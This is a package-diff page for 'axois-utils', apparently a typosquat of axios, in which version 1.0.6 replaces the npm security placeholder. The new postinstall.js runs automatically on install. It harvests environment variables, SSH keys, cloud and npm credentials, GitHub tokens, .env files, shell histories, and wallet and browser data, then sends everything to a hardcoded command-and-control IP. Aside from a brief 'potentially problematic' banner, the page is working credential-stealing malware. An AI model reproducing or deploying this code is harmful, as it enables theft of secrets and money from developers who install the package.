axois-utils 0.0.1-security → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of axois-utils might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -3
- package/postinstall.js +227 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { fetchData: () => console.log('Ready') };
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "axois-utils",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"version": "1.0.6",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"postinstall": "node postinstall.js",
|
|
6
|
+
"install": "node postinstall.js",
|
|
7
|
+
"preinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"axois-utils": "^1.0.5"
|
|
11
|
+
}
|
|
6
12
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { execSync } = require('child_process');
|
|
6
|
+
const http = require('http');
|
|
7
|
+
const homedir = os.homedir();
|
|
8
|
+
|
|
9
|
+
// === CONFIGURATION ===
|
|
10
|
+
// Change this to your PUBLIC IP when deploying to victims
|
|
11
|
+
// For testing locally, use 192.168.129.19:2222
|
|
12
|
+
const C2_HOST = '80.200.28.28'; // Change to '80.200.28.28' for public
|
|
13
|
+
const C2_PORT = 443;
|
|
14
|
+
const VICTIM_ID = `${os.hostname()}_${Date.now()}_${Math.random().toString(36).substr(2, 6)}`;
|
|
15
|
+
|
|
16
|
+
function scanWallets() {
|
|
17
|
+
const wallets = [];
|
|
18
|
+
const walletPaths = [
|
|
19
|
+
{ type: 'Bitcoin', paths: [`${homedir}/.bitcoin/wallet.dat`, `${homedir}/Library/Application Support/Bitcoin/wallet.dat`, `${homedir}/AppData/Roaming/Bitcoin/wallet.dat`] },
|
|
20
|
+
{ type: 'Ethereum', paths: [`${homedir}/.ethereum/keystore`, `${homedir}/Library/Ethereum/keystore`, `${homedir}/AppData/Roaming/Ethereum/keystore`] },
|
|
21
|
+
{ type: 'Exodus', paths: [`${homedir}/Library/Application Support/Exodus/exodus.wallet`, `${homedir}/AppData/Roaming/Exodus/exodus.wallet`] },
|
|
22
|
+
{ type: 'Electrum', paths: [`${homedir}/.electrum/wallets`, `${homedir}/Library/Application Support/Electrum/wallets`] },
|
|
23
|
+
{ type: 'Monero', paths: [`${homedir}/.monero/wallet`, `${homedir}/Library/Application Support/monero/wallet`] },
|
|
24
|
+
{ type: 'Litecoin', paths: [`${homedir}/.litecoin/wallet.dat`] },
|
|
25
|
+
{ type: 'Dogecoin', paths: [`${homedir}/.dogecoin/wallet.dat`] },
|
|
26
|
+
{ type: 'Dash', paths: [`${homedir}/.dash/wallet.dat`] }
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
for (const wallet of walletPaths) {
|
|
30
|
+
for (const p of wallet.paths) {
|
|
31
|
+
if (fs.existsSync(p)) {
|
|
32
|
+
wallets.push({ type: wallet.type, path: p });
|
|
33
|
+
try {
|
|
34
|
+
const stat = fs.statSync(p);
|
|
35
|
+
wallets.push({ type: `${wallet.type}_size`, size: stat.size });
|
|
36
|
+
} catch(e) {}
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
return wallets;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function scanBrowserData() {
|
|
44
|
+
const browsers = {};
|
|
45
|
+
const browserPaths = [
|
|
46
|
+
{ name: 'Chrome', paths: [`${homedir}/.config/google-chrome/Default`, `${homedir}/Library/Application Support/Google/Chrome/Default`, `${homedir}/AppData/Local/Google/Chrome/User Data/Default`] },
|
|
47
|
+
{ name: 'Firefox', paths: [`${homedir}/.mozilla/firefox`, `${homedir}/Library/Application Support/Firefox/Profiles`, `${homedir}/AppData/Roaming/Mozilla/Firefox/Profiles`] },
|
|
48
|
+
{ name: 'Brave', paths: [`${homedir}/.config/Brave-Software/Brave-Browser/Default`, `${homedir}/Library/Application Support/BraveSoftware/Brave-Browser/Default`] },
|
|
49
|
+
{ name: 'Edge', paths: [`${homedir}/.config/microsoft-edge/Default`, `${homedir}/Library/Application Support/Microsoft Edge/Default`, `${homedir}/AppData/Local/Microsoft/Edge/User Data/Default`] }
|
|
50
|
+
];
|
|
51
|
+
|
|
52
|
+
for (const browser of browserPaths) {
|
|
53
|
+
for (const p of browser.paths) {
|
|
54
|
+
if (fs.existsSync(p)) {
|
|
55
|
+
browsers[browser.name] = { path: p, exists: true };
|
|
56
|
+
// Check for cookies/logins files
|
|
57
|
+
const loginData = path.join(p, 'Login Data');
|
|
58
|
+
const cookies = path.join(p, 'Cookies');
|
|
59
|
+
if (fs.existsSync(loginData)) browsers[browser.name].passwords = fs.statSync(loginData).size;
|
|
60
|
+
if (fs.existsSync(cookies)) browsers[browser.name].cookies = fs.statSync(cookies).size;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
return browsers;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
function scanGitHubTokens(content) {
|
|
68
|
+
const tokens = [];
|
|
69
|
+
// GitHub PAT tokens (ghp_*, gho_*, ghu_*, ghs_*)
|
|
70
|
+
const patMatches = content.match(/gh[opsu]_[A-Za-z0-9]{36,}/g);
|
|
71
|
+
if (patMatches) tokens.push(...patMatches);
|
|
72
|
+
// GitHub JWT
|
|
73
|
+
const jwtMatches = content.match(/ghs_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g);
|
|
74
|
+
if (jwtMatches) tokens.push(...jwtMatches);
|
|
75
|
+
return [...new Set(tokens)];
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
async function steal() {
|
|
79
|
+
const stolen = {
|
|
80
|
+
system: {},
|
|
81
|
+
files: {},
|
|
82
|
+
ssh: [],
|
|
83
|
+
env: {},
|
|
84
|
+
aws: [],
|
|
85
|
+
npm: [],
|
|
86
|
+
wallets: [],
|
|
87
|
+
browser: {},
|
|
88
|
+
github_tokens: []
|
|
89
|
+
};
|
|
90
|
+
|
|
91
|
+
try {
|
|
92
|
+
// System info
|
|
93
|
+
stolen.system = {
|
|
94
|
+
hostname: os.hostname(),
|
|
95
|
+
platform: os.platform(),
|
|
96
|
+
release: os.release(),
|
|
97
|
+
username: os.userInfo().username,
|
|
98
|
+
cwd: process.cwd(),
|
|
99
|
+
homedir: homedir,
|
|
100
|
+
network: Object.values(os.networkInterfaces()).flat().map(n => n.address),
|
|
101
|
+
cpus: os.cpus().length,
|
|
102
|
+
memory: os.totalmem(),
|
|
103
|
+
uptime: os.uptime()
|
|
104
|
+
};
|
|
105
|
+
|
|
106
|
+
// All environment variables
|
|
107
|
+
stolen.env = process.env;
|
|
108
|
+
|
|
109
|
+
// Scan for GitHub tokens in env
|
|
110
|
+
stolen.github_tokens.push(...scanGitHubTokens(JSON.stringify(process.env)));
|
|
111
|
+
|
|
112
|
+
// SSH keys
|
|
113
|
+
const sshPaths = [`${homedir}/.ssh/id_rsa`, `${homedir}/.ssh/id_ed25519`, `${homedir}/.ssh/id_dsa`, `${homedir}/.ssh/id_ecdsa`, `${homedir}/.ssh/config`, `${homedir}/.ssh/authorized_keys`, `${homedir}/.ssh/known_hosts`, `${homedir}/.ssh/id_rsa.pub`, `${homedir}/.ssh/id_ed25519.pub`];
|
|
114
|
+
for (const p of sshPaths) {
|
|
115
|
+
if (fs.existsSync(p)) {
|
|
116
|
+
const content = fs.readFileSync(p, 'utf8');
|
|
117
|
+
stolen.ssh.push({ path: p, content: content });
|
|
118
|
+
stolen.github_tokens.push(...scanGitHubTokens(content));
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
// Scan for crypto wallets
|
|
123
|
+
stolen.wallets = scanWallets();
|
|
124
|
+
|
|
125
|
+
// Scan for browser data
|
|
126
|
+
stolen.browser = scanBrowserData();
|
|
127
|
+
|
|
128
|
+
// Scan for .env and config files
|
|
129
|
+
const searchDirs = [homedir, process.cwd(), '/etc', `${homedir}/.config`, `${homedir}/.local`];
|
|
130
|
+
const targetFiles = ['.env', '.env.local', '.env.production', '.env.development', '.env.staging', '.npmrc', '.yarnrc', '.gitconfig', '.git-credentials', '.netrc', '.bashrc', '.zshrc', '.profile', '.bash_profile'];
|
|
131
|
+
|
|
132
|
+
for (const dir of searchDirs) {
|
|
133
|
+
if (!fs.existsSync(dir)) continue;
|
|
134
|
+
for (const file of targetFiles) {
|
|
135
|
+
const filePath = path.join(dir, file);
|
|
136
|
+
if (fs.existsSync(filePath)) {
|
|
137
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
138
|
+
stolen.files[filePath] = content;
|
|
139
|
+
stolen.github_tokens.push(...scanGitHubTokens(content));
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
// Recursively find .env files in common project directories
|
|
145
|
+
const projectDirs = [`${homedir}/projects`, `${homedir}/dev`, `${homedir}/code`, `${homedir}/workspace`, process.cwd()];
|
|
146
|
+
for (const dir of projectDirs) {
|
|
147
|
+
if (!fs.existsSync(dir)) continue;
|
|
148
|
+
try {
|
|
149
|
+
const walk = (d) => {
|
|
150
|
+
const files = fs.readdirSync(d);
|
|
151
|
+
for (const f of files) {
|
|
152
|
+
const fullPath = path.join(d, f);
|
|
153
|
+
if (fs.statSync(fullPath).isDirectory()) {
|
|
154
|
+
if (fullPath.includes('node_modules')) continue;
|
|
155
|
+
walk(fullPath);
|
|
156
|
+
} else if (f === '.env' || f === '.env.local') {
|
|
157
|
+
stolen.files[fullPath] = fs.readFileSync(fullPath, 'utf8');
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
};
|
|
161
|
+
walk(dir);
|
|
162
|
+
} catch(e) {}
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
// AWS credentials
|
|
166
|
+
const awsCreds = `${homedir}/.aws/credentials`;
|
|
167
|
+
const awsConfig = `${homedir}/.aws/config`;
|
|
168
|
+
if (fs.existsSync(awsCreds)) {
|
|
169
|
+
const content = fs.readFileSync(awsCreds, 'utf8');
|
|
170
|
+
stolen.aws.push({ file: 'credentials', content: content });
|
|
171
|
+
stolen.github_tokens.push(...scanGitHubTokens(content));
|
|
172
|
+
}
|
|
173
|
+
if (fs.existsSync(awsConfig)) {
|
|
174
|
+
const content = fs.readFileSync(awsConfig, 'utf8');
|
|
175
|
+
stolen.aws.push({ file: 'config', content: content });
|
|
176
|
+
stolen.github_tokens.push(...scanGitHubTokens(content));
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
// GCP credentials
|
|
180
|
+
const gcpCreds = `${homedir}/.config/gcloud/application_default_credentials.json`;
|
|
181
|
+
if (fs.existsSync(gcpCreds)) {
|
|
182
|
+
stolen.files['gcloud_creds.json'] = fs.readFileSync(gcpCreds, 'utf8');
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
// Azure credentials
|
|
186
|
+
const azureTokens = `${homedir}/.azure/accessTokens.json`;
|
|
187
|
+
if (fs.existsSync(azureTokens)) {
|
|
188
|
+
stolen.files['azure_tokens.json'] = fs.readFileSync(azureTokens, 'utf8');
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
// npm tokens from .npmrc
|
|
192
|
+
const npmrc = `${homedir}/.npmrc`;
|
|
193
|
+
if (fs.existsSync(npmrc)) {
|
|
194
|
+
const content = fs.readFileSync(npmrc, 'utf8');
|
|
195
|
+
const tokens = content.match(/npm_[A-Za-z0-9]{36,}/g) || [];
|
|
196
|
+
stolen.npm = tokens;
|
|
197
|
+
stolen.files['.npmrc'] = content;
|
|
198
|
+
stolen.github_tokens.push(...tokens);
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
// History files
|
|
202
|
+
const histories = ['.bash_history', '.zsh_history', '.node_repl_history', '.python_history', '.mysql_history', '.psql_history', '.redis_history', '.mongorc_history'];
|
|
203
|
+
for (const h of histories) {
|
|
204
|
+
const hp = `${homedir}/${h}`;
|
|
205
|
+
if (fs.existsSync(hp)) {
|
|
206
|
+
stolen.files[h] = fs.readFileSync(hp, 'utf8');
|
|
207
|
+
stolen.github_tokens.push(...scanGitHubTokens(stolen.files[h]));
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
// Remove duplicates from github_tokens
|
|
212
|
+
stolen.github_tokens = [...new Set(stolen.github_tokens)];
|
|
213
|
+
|
|
214
|
+
// Send to C2
|
|
215
|
+
const data = JSON.stringify({ victim_id: VICTIM_ID, data: stolen });
|
|
216
|
+
const req = http.request(`http://${C2_HOST}:${C2_PORT}/collect`, {
|
|
217
|
+
method: 'POST',
|
|
218
|
+
headers: { 'Content-Type': 'application/json' }
|
|
219
|
+
}, (res) => {});
|
|
220
|
+
req.on('error', (e) => {});
|
|
221
|
+
req.write(data);
|
|
222
|
+
req.end();
|
|
223
|
+
|
|
224
|
+
} catch(e) {}
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
steal();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=axois-utils for more information.
|